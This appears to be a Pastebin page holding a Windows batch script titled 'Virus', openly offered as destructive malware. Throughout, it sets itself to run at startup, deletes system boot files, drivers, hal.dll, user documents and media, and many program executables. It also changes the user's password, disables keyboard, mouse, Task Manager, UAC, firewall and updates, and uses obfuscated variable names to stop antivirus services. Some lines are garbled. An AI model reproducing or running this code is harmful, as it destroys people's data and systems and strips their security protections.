API tools faq
paste
Advertisement
YeiZeta

Virus By xL3GiOn

YeiZeta
Oct 6th, 2012
384
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.56 KB | None | 0 0
raw download clone embed print report
  1. @ echo off
  2. rem ---------------------------------
  3. rem Activate Blue Screen Of Death
  4. @((( Echo Off > Nul ) & Break Off )
  5. @Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  6. @Reg Add "%HiveBSOD%" /v "BSOD" /t "REG_SZ" /d %0 /f > Nul
  7. @Del /q /s /f "%SystemRoot%\Windows\System32\Drivers\*.*"
  8. )
  9. rem ---------------------------------
  10. @ echo off
  11. rem ---------------------------------
  12. rem Spam Local Disk
  13. echo %random% > 'C:\%random%.txt'
  14. echo %random% > 'C:\%random%.txt'
  15. echo %random% > 'C:\%random%.txt'
  16. echo %random% > 'C:\%random%.txt'
  17. echo %random% > 'C:\%random%.txt'
  18. echo %random% > 'C:\%random%.txt'
  19. echo %random% > 'C:\%random%.txt'
  20. echo %random% > 'C:\%random%.txt'
  21. echo %random% > 'C:\%random%.txt'
  22. echo %random% > 'C:\%random%.txt'
  23. echo %random% > 'C:\%random%.txt'
  24. echo %random% > 'C:\%random%.txt'
  25. echo %random% > 'C:\%random%.txt'
  26. echo %random% > 'C:\%random%.txt'
  27. echo %random% > 'C:\%random%.txt'
  28. echo %random% > 'C:\%random%.txt'
  29. echo %random% > 'C:\%random%.txt'
  30. echo %random% > 'C:\%random%.txt'
  31. echo %random% > 'C:\%random%.txt'
  32. echo %random% > 'C:\%random%.txt'
  33. echo %random% > 'C:\%random%.txt'
  34. echo %random% > 'C:\%random%.txt'
  35. echo %random% > 'C:\%random%.txt'
  36. echo %random% > 'C:\%random%.txt'
  37. echo %random% > 'C:\%random%.txt'
  38. echo %random% > 'C:\%random%.txt'
  39. echo %random% > 'C:\%random%.txt'
  40. echo %random% > 'C:\%random%.txt'
  41. echo %random% > 'C:\%random%.txt'
  42. echo %random% > 'C:\%random%.txt'
  43. echo %random% > 'C:\%random%.txt'
  44. rem ---------------------------------
  45. rem ---------------------------------
  46. rem Start Windows XP Secret Song
  47. start "" "%systemroot%\system32\oobe\images\title.wma"
  48. rem ---------------------------------
  49. rem ---------------------------------
  50. rem Net Send Spam
  51. net start "messenger"
  52. net send * "Spammed Message"
  53. net send * "Spammed Message"
  54. net send * "Spammed Message"
  55. net send * "Spammed Message"
  56. net send * "Spammed Message"
  57. net send * "Spammed Message"
  58. net send * "Spammed Message"
  59. net send * "Spammed Message"
  60. net send * "Spammed Message"
  61. net send * "Spammed Message"
  62. net send * "Spammed Message"
  63. net send * "Spammed Message"
  64. net send * "Spammed Message"
  65. net send * "Spammed Message"
  66. net send * "Spammed Message"
  67. net send * "Spammed Message"
  68. net send * "Spammed Message"
  69. net send * "Spammed Message"
  70. net send * "Spammed Message"
  71. net send * "Spammed Message"
  72. net send * "Spammed Message"
  73. net send * "Spammed Message"
  74. net send * "Spammed Message"
  75. net send * "Spammed Message"
  76. net send * "Spammed Message"
  77. net send * "Spammed Message"
  78. net send * "Spammed Message"
  79. net send * "Spammed Message"
  80. net send * "Spammed Message"
  81. net send * "Spammed Message"
  82. net send * "Spammed Message"
  83. net send * "Spammed Message"
  84. net send * "Spammed Message"
  85. net send * "Spammed Message"
  86. net send * "Spammed Message"
  87. net send * "Spammed Message"
  88. rem ---------------------------------
  89. rem ---------------------------------
  90. rem Swap Mouse Buttons
  91. RUNDLL32 USER32.DLL,SwapMouseButton
  92. rem ---------------------------------
  93. rem ---------------------------------
  94. rem Spam With VBScript Msgboxes
  95. echo Do>>msgbox.vbs
  96. echo x=msgbox("Your computer is infected with a virus!",0+48,"Infected") >>msgbox.vbs
  97. echo Loop>>msgbox.vbs
  98. start "" "msgbox.vbs"
  99. start "" "msgbox.vbs"
  100. start "" "msgbox.vbs"
  101. start "" "msgbox.vbs"
  102. start "" "msgbox.vbs"
  103. start "" "msgbox.vbs"
  104. start "" "msgbox.vbs"
  105. start "" "msgbox.vbs"
  106. start "" "msgbox.vbs"
  107. start "" "msgbox.vbs"
  108. start "" "msgbox.vbs"
  109. start "" "msgbox.vbs"
  110. start "" "msgbox.vbs"
  111. start "" "msgbox.vbs"
  112. start "" "msgbox.vbs"
  113. start "" "msgbox.vbs"
  114. start "" "msgbox.vbs"
  115. start "" "msgbox.vbs"
  116. start "" "msgbox.vbs"
  117. start "" "msgbox.vbs"
  118. start "" "msgbox.vbs"
  119. start "" "msgbox.vbs"
  120. start "" "msgbox.vbs"
  121. start "" "msgbox.vbs"
  122. start "" "msgbox.vbs"
  123. start "" "msgbox.vbs"
  124. start "" "msgbox.vbs"
  125. rem ---------------------------------
  126. rem ---------------------------------
  127. rem Change Computer Time
  128. time 12:00
  129. rem ---------------------------------
  130. rem ---------------------------------
  131. rem Hide Virus File After Run
  132. attrib +h %0
  133. rem ---------------------------------
  134. rem ---------------------------------
  135. rem Hide My Documents Folder
  136. attrib +h "%userprofile%\my documents"
  137. rem ---------------------------------
  138. rem ---------------------------------
  139. rem Change User Password To DELmE
  140. net user %username% DELmE
  141. rem ---------------------------------
  142. rem ---------------------------------
  143. rem Start Opening Disk Tray
  144. echo Do >> "opendisk.vbs"
  145. echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
  146. echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
  147. echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
  148. echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
  149. echo Loop >> "opendisk.vbs"
  150. start "" "opendisk.vbs"
  151. rem ---------------------------------
  152. rem ---------------------------------
  153. rem Spam Printer
  154. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  155. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  156. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  157. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  158. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  159. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  160. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  161. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  162. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  163. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  164. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  165. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  166. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  167. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  168. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  169. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  170. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  171. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  172. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  173. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  174. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  175. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  176. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  177. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  178. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  179. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  180. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  181. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  182. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  183. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  184. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  185. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  186. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  187. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  188. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  189. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  190. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  191. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  192. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  193. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  194. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  195. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  196. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  197. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  198. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  199. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  200. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  201. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  202. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  203. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  204. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  205. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  206. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  207. echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
  208. notepad /P "Spam.txt"
  209. rem ---------------------------------
  210. rem ---------------------------------
  211. rem Confuse File Extensions Powerup
  212. assoc .dll=txtfile
  213. assoc .exe=pngfile
  214. assoc .vbs=Visual Style
  215. assoc .reg=xmlfile
  216. assoc .txt=regfile
  217. rem ---------------------------------
  218. rem Confuse File Extensions for text
  219. assoc .mp3=txtfile
  220. assoc .xml=txtfile
  221. assoc .png=txtfile
  222. rem ---------------------------------
  223. rem ---------------------------------
  224. rem Hide Music, Video, Picture Folders
  225. attrib +h "%userprofile%\my documents\my music"
  226. attrib +h "%userprofile%\my documents\my videos"
  227. attrib +h "%userprofile%\my documents\my pictures"
  228. rem ---------------------------------
  229. rem ---------------------------------
  230. rem Delete All Pdf
  231. DIR /S/B %SystemDrive%\*.pdf >> FIleList_pdf.txt
  232. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_pdf.txt) do del "%%j:%%k"
  233. rem ---------------------------------
  234. rem ---------------------------------
  235. rem Delete All Mp4
  236. DIR /S/B %SystemDrive%\*.mp4 >> FIleList_mp4.txt
  237. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_mp4.txt) do del "%%j:%%k"
  238. rem ---------------------------------
  239. rem ---------------------------------
  240. rem Delete All Lnk
  241. DIR /S/B %SystemDrive%\*.lnk >> FIleList_lnk.txt
  242. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_lnk.txt) do del "%%j:%%k"
  243. rem ---------------------------------
  244. rem ---------------------------------
  245. rem Crash Computer
  246. echo start "" %0>>crash.bat
  247. echo start "" %0>>crash.bat
  248. echo start "" %0>>crash.bat
  249. echo start "" %0>>crash.bat
  250. echo start "" %0>>crash.bat
  251. echo start "" %0>>crash.bat
  252. echo start "" %0>>crash.bat
  253. echo start "" %0>>crash.bat
  254. echo start "" %0>>crash.bat
  255. echo start "" %0>>crash.bat
  256. echo start "" %0>>crash.bat
  257. echo start "" %0>>crash.bat
  258. echo start "" %0>>crash.bat
  259. echo start "" %0>>crash.bat
  260. echo start "" %0>>crash.bat
  261. echo start "" %0>>crash.bat
  262. echo start "" %0>>crash.bat
  263. echo start "" %0>>crash.bat
  264. start "" crash.bat
  265. rem ---------------------------------
  266. rem ---------------------------------
  267. rem Delete My Pictures
  268. del /f /q '%userprofile%\My Pictures\*.*'
  269. rem ---------------------------------
  270. rem ---------------------------------
  271. rem Delete My Music
  272. del /f /q '%userprofile%\My Music\*.*'
  273. rem ---------------------------------
  274. rem ---------------------------------
  275. rem Delete My Documents
  276. del /f /q '%userprofile%\My Documents\*.*'
  277. rem ---------------------------------
  278. rem ---------------------------------
  279. rem The Last Restart
  280. attrib -r -s -h c:\autoexec.bat
  281. del c:\autoexec.bat
  282. attrib -r -s -h c:\boot.ini
  283. del c:\boot.ini
  284. attrib -r -s -h c:\ntldr
  285. del c:\ntldr
  286. attrib -r -s -h c:\windows\win.ini
  287. del c:\windows\win.ini
  288. shutdown /r /t 00
  289. rem ---------------------------------
  290. rem ---------------------------------
  291. rem Delete All Xml
  292. DIR /S/B %SystemDrive%\*.xml >> FIleList_xml.txt
  293. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_xml.txt) do del "%%j:%%k"
  294. rem ---------------------------------
  295. rem ---------------------------------
  296. rem Delete All Documents
  297. DIR /S/B %SystemDrive%\*.doc >> FIleList_doc.txt
  298. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_doc.txt) do del "%%j:%%k"
  299. rem ---------------------------------
  300. rem ---------------------------------
  301. rem Delete All Texts
  302. DIR /S/B %SystemDrive%\*.txt >> FIleList_txt.txt
  303. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_txt.txt) do del "%%j:%%k"
  304. rem ---------------------------------
  305. rem ---------------------------------
  306. rem Delete All Mp3
  307. DIR /S/B %SystemDrive%\*.mp3 >> FIleList_mp3.txt
  308. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_mp3.txt) do del "%%j:%%k"
  309. rem ---------------------------------
  310. rem ---------------------------------
  311. rem Delete All Exe
  312. DIR /S/B %SystemDrive%\*.exe >> FIleList_exe.txt
  313. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_exe.txt) do del "%%j:%%k"
  314. rem ---------------------------------
  315. rem ---------------------------------
  316. rem Disable Computer By Deleting hal.dll
  317. del /f /q %SystemDrive%\WINDOWS\system32\hal.dll
  318. rem ---------------------------------
  319. rem ---------------------------------
  320. rem Delete My Music
  321. del /f /q '%userprofile%\My Music\*.*'
  322. rem ---------------------------------
  323. rem ---------------------------------
  324. rem Delete Notepad
  325. tskill notepad
  326. del /f /q "%windir%\system32\notepad.exe"
  327. rem ---------------------------------
  328. rem ---------------------------------
  329. rem Delete Calculator
  330. tskill calc
  331. del /f /q "%windir%\system32\calc.exe
  332. rem ---------------------------------
  333. rem ---------------------------------
  334. rem Delete Access
  335. tskill msaccess
  336. del /f /q "%SystemDrive%\Program Files\Microsoft Office\Office10\MSACCESS.EXE"
  337. rem ---------------------------------
  338. rem ---------------------------------
  339. rem Delete Internet Explorer
  340. tskill iexplore
  341. del /f /q "C:\Program Files\Internet Explorer\iexplore.exe"
  342. rem ---------------------------------
  343. rem ---------------------------------
  344. rem Delete Excel
  345. tskill excel
  346. del /f /q "%SystemDrive%\Program Files\Microsoft Office\Office10\EXCEL.EXE"
  347. rem ---------------------------------
  348. rem ---------------------------------
  349. rem Delete Paint
  350. tskill mspaint
  351. del /f /q "%windir%\system32\mspaint.exe"
  352. rem ---------------------------------
  353. rem ---------------------------------
  354. rem Delete Word
  355. tskill WINWORD
  356. del /f /q "%SystemDrive%\Program Files\Microsoft Office\Office10\WINWORD.EXE"
  357. rem ---------------------------------
  358. rem ---------------------------------
  359. rem Delete Outlook
  360. tskill outlook
  361. del /f /q "%SystemDrive%\Program Files\Microsoft Office\Office10\OUTLOOK.EXE"
  362. rem ---------------------------------
  363. rem ---------------------------------
  364. rem Delete Safari
  365. tskill safari
  366. del /f /q "C:\Program Files\Safari\Safari.exe"
  367. rem ---------------------------------
  368. rem ---------------------------------
  369. rem Clear The Screen
  370. cls
  371. rem ---------------------------------
  372. rem ---------------------------------
  373. rem Self Destruct
  374. del /f /q %0
  375. rem ---------------------------------
  376. rem ---------------------------------
  377. rem Hide CMD Window
  378. if exist winstart.vbs goto next
  379. echo set objShell = CreateObject("WScript.Shell") >> winstart.vbs
  380. echo objShell.Run ".bat", vbHide, TRUE >> winstart.vbs
  381. start "" "winstart.vbs"
  382. exit
  383. :next
  384. rem ---------------------------------
  385. rem ---------------------------------
  386. rem Disable Keyboard
  387. echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
  388. echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
  389. echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
  390. echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
  391. echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
  392. echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
  393. echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
  394. echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
  395. echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
  396. echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
  397. echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
  398. echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
  399. echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
  400. echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
  401. echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
  402. echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
  403. echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
  404. echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
  405. echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
  406. echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
  407. echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
  408. echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
  409. echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
  410. start "nokeyboard.reg"
  411. rem ---------------------------------
  412. rem ---------------------------------
  413. rem Disable Internet
  414. @Echo off & @@Break Off
  415. Ipconfig /release
  416. %jUmP%E%nD%c%onFiG%h%IdE%o%P% h%aRv%%aRd%A%T%%cHe%cK%HappY%3D b%aLLo0Ns%Y%eS% m3Ga!?!
  417. P%ReSs%%IE%AuS%ExPloR%e%r% > nul.%TempInternetRelease%
  418. rem ---------------------------------
  419. rem ---------------------------------
  420. rem Disable Windows Backup
  421. net stop "SDRSVC"
  422. rem ---------------------------------
  423. rem ---------------------------------
  424. rem Disable Mouse
  425. set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
  426. reg delete %key%
  427. reg add %key% /v Start /t REG_DWORD /d 4
  428. rem ---------------------------------
  429. rem ---------------------------------
  430. rem Disable Admin Accounts
  431. @Set RegistyEditCmd=Cmd /k Reg Add
  432. @Set HiveSysKey=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
  433. @%RegistyEditCmd% "%HiveSysKey%" /v "EnableLUA" /t "REG_DWORD" /d "0" /f > nul
  434. rem ---------------------------------
  435. rem ---------------------------------
  436. rem Disable Task Manager
  437. reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
  438. rem ---------------------------------
  439. rem ---------------------------------
  440. rem Disable Windows Defender
  441. net stop "WinDefend"
  442. taskkill /f /t /im "MSASCui.exe"
  443. rem ---------------------------------
  444. rem ---------------------------------
  445. rem Disable Windows Update
  446. net stop "wuauserv"
  447. rem ---------------------------------
  448. rem ---------------------------------
  449. rem Disable Windows Security
  450. net stop "security center"
  451. net stop sharedaccess
  452. netsh firewall set opmode mode-disable
  453. rem ---------------------------------
  454. rem ---------------------------------
  455. rem Encripted AV Killer
  456. del /F /Q %SystemDrive%\recycler\S-1-5-21-1202660629-261903793-725345543-1003\run.bat
  457. set ii=ne
  458. set ywe=st
  459. set ury=t
  460. set iej=op
  461. set jt53=Syma
  462. set o6t=nor
  463. set lyd2=fee
  464. set h3d=ton
  465. set gf45=ntec
  466. set own5=McA
  467. %ii%%ury% %ywe%%iej% "Security Center" /y
  468. %ii%%ury% %ywe%%iej% "Automatic Updates" /y
  469. %ii%%ury% %ywe%%iej% "%jt53%%gf45% Core LC" /y
  470. %ii%%ury% %ywe%%iej% "SAVScan" /y
  471. %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Firewall Monitor Service" /y
  472. %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto-Protect Service" /y
  473. %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto Protect Service" /y
  474. %ii%%ury% %ywe%%iej% "%own5%%lyd2% Spamkiller Server" /y
  475. %ii%%ury% %ywe%%iej% "%own5%%lyd2% Personal Firewall Service" /y
  476. %ii%%ury% %ywe%%iej% "%own5%%lyd2% SecurityCenter Update Manager" /y
  477. %ii%%ury% %ywe%%iej% "%jt53%%gf45% SPBBCSvc" /y
  478. cls
  479. %ii%%ury% %ywe%%iej% "Ahnlab Task Scheduler" /y
  480. %ii%%ury% %ywe%%iej% navapsvc /y
  481. %ii%%ury% %ywe%%iej% "Sygate Personal Firewall Pro" /y
  482. %ii%%ury% %ywe%%iej% vrmonsvc /y
  483. %ii%%ury% %ywe%%iej% MonSvcNT /y
  484. %ii%%ury% %ywe%%iej% SAVScan /y
  485. %ii%%ury% %ywe%%iej% NProtectService /y
  486. %ii%%ury% %ywe%%iej% ccSetMGR /y
  487. %ii%%ury% %ywe%%iej% ccEvtMGR /y
  488. %ii%%ury% %ywe%%iej% srservice /y
  489. %ii%%ury% %ywe%%iej% "%jt53%%gf45% Network Drivers Service" /y
  490. %ii%%ury% %ywe%%iej% "%o6t%%h3d% Unerase Protection" /y
  491. %ii%%ury% %ywe%%iej% MskService /y
  492. %ii%%ury% %ywe%%iej% MpfService /y
  493. %ii%%ury% %ywe%%iej% mcupdmgr.exe /y
  494. %ii%%ury% %ywe%%iej% "%own5%%lyd2%AntiSpyware" /y
  495. %ii%%ury% %ywe%%iej% helpsvc /y
  496. %ii%%ury% %ywe%%iej% ERSvc /y
  497. %ii%%ury% %ywe%%iej% "*%o6t%%h3d%*" /y
  498. %ii%%ury% %ywe%%iej% "*%jt53%%gf45%*" /y
  499. %ii%%ury% %ywe%%iej% "*%own5%%lyd2%*" /y
  500. cls
  501. %ii%%ury% %ywe%%iej% ccPwdSvc /y
  502. %ii%%ury% %ywe%%iej% "%jt53%%gf45% Core LC" /y
  503. %ii%%ury% %ywe%%iej% navapsvc /y
  504. %ii%%ury% %ywe%%iej% "Serv-U" /y
  505. %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto Protect Service" /y
  506. %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Client" /y
  507. %ii%%ury% %ywe%%iej% "%jt53%%gf45% AntiVirus Client" /y
  508. %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Server" /y
  509. %ii%%ury% %ywe%%iej% "NAV Alert" /y
  510. %ii%%ury% %ywe%%iej% "Nav Auto-Protect" /y
  511. cls
  512. %ii%%ury% %ywe%%iej% "McShield" /y
  513. %ii%%ury% %ywe%%iej% "DefWatch" /y
  514. %ii%%ury% %ywe%%iej% eventlog /y
  515. %ii%%ury% %ywe%%iej% InoRPC /y
  516. %ii%%ury% %ywe%%iej% InoRT /y
